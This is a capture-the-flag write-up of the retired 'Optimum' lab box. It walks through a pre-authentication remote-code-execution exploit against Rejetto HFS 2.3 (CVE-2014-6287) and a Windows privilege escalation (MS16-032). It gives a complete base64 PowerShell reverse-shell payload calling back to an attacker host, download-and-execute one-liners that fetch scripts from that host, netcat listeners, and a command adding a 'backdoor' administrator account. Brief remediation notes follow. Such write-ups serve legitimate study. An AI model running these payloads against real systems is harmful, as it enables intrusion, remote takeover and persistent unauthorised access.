jperezduerto.info
Optimum
Summary
I fingerprinted a publicly accessible Rejetto HttpFileServer (HFS) 2.3 instance from its HTTP banner, exploited a decade-old pre-authentication remote code execution flaw (CVE-2014-6287) to obtain a reverse shell as the local user kostas, then leveraged an unpatched Windows privilege-escalation vulnerability (MS16-032 / CVE-2016-0099) to elevate to NT AUTHORITY\SYSTEM and capture both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 1
HTTP banner grab. Server header self-identifies Rejetto HFS and version.
$ curl -sS -I http://$TARGET/ | grep -i serverFixRestrict network access to internal file-sharing servicesHigh
Exact commands 3
Start reverse-shell listener on the attack host before firing the exploit.
$ nc -lvnp 5555ExploitDB PoC #39161 for CVE-2014-6287. Edit LHOST, LPORT, and TARGET (http://$TARGET:80) at the top of the script. The script builds a base64-encoded PowerShell reverse shell and delivers it via GET /?search=%00{.exec|powershell -enc <b64>.}
$ python3 39161.py $ATTACKER_IP 5555Sends the macro-injection GET and spawns the shell.
$ python3 - <<PY
import urllib.request, base64
LHOST="$ATTACKER_IP"; LPORT=5555; TARGET="http://$TARGET"
ps=(f"\$c=New-Object System.Net.Sockets.TCPClient('{LHOST}',{LPORT});"
"\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};"
"while((\$i=\$s.Read(\$b,0,\$b.Length))-ne 0){"
"\$d=(New-Object -TypeName System.Text.Encoding.ASCII).GetString(\$b,0,\$i);"
"\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+'PS '+(pwd).Path+'> ';"
"\$e=([text.encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$e,0,\$e.Length)}")
b64=base64.b64encode(ps.encode('utf-16-le')).decode()
urllib.request.urlopen(TARGET+'/?search=%00{.exec|powershell -enc '+b64+'.}',timeout=5)
PYFixReplace end-of-life Rejetto HFS 2.3 with a maintained file-sharing solutionCritical
Exact commands 2
Run inside the remote shell. Returns optimum\kostas.
$ whoami
optimum\kostasReads the user flag — returns <user.txt>.
$ Get-Content C:\Users\kostas\Desktop\user.txtExact commands 3
Reveals OS name, version, build, architecture, and installed hotfixes — key data for patch-gap analysis.
$ systeminfoLists all installed Windows updates. Compare against the MS16-032 bulletin; KB3139914 is absent.
$ wmic qfe get HotFixID,InstalledOnSherlock.ps1 automates local patch-gap detection; confirms MS16-032 as exploitable on this host.
$ IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/Sherlock.ps1"); Find-AllVulnsExact commands 5
Run on attack host in the directory containing Invoke-MS16032.ps1 (from PowerSploit/Empire GitHub).
$ python3 -m http.server 80Second listener on attack host to receive the SYSTEM callback shell.
$ nc -lvnp 6666Run inside the kostas shell. Triggers the Secondary Logon race condition and executes the supplied command as SYSTEM. Replace with a reverse-shell payload for interactive SYSTEM access (e.g., nc.exe or PowerShell TCP shell back to port 6666).
$ IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/Invoke-MS16032.ps1"); Invoke-MS16032 -Command "cmd /c net user backdoor $PASSWORD /add && net localgroup administrators backdoor /add"Confirm SYSTEM context in the new shell — returns nt authority\system.
$ whoamiRead root flag from the Administrator Desktop — returns <root.txt>.
$ Get-Content C:\Users\Administrator\Desktop\root.txtFixApply KB3139914 and enforce a timely Windows patching programmeHigh
Attack patterns used
The transferable techniques behind this compromise.
Rejetto HFS Macro RCEWeb · Service RCET1190CVE-2014-6287
What it is
Rejetto HTTP File Server (HFS) 2.x interprets server-side template macros embedded in request parameters. A search request containing the {.exec|<cmd>.} macro (often via a null-byte / regex parsing quirk) causes HFS to execute the supplied command before the request completes — unauthenticated RCE on the host running HFS.
Why it works
HFS evaluates its own scripting macros on user-supplied input without sanitization, conflating data and code. Any exposed HFS 2.3 install is exploitable. Remediate by upgrading/retiring HFS and never exposing it to untrusted networks.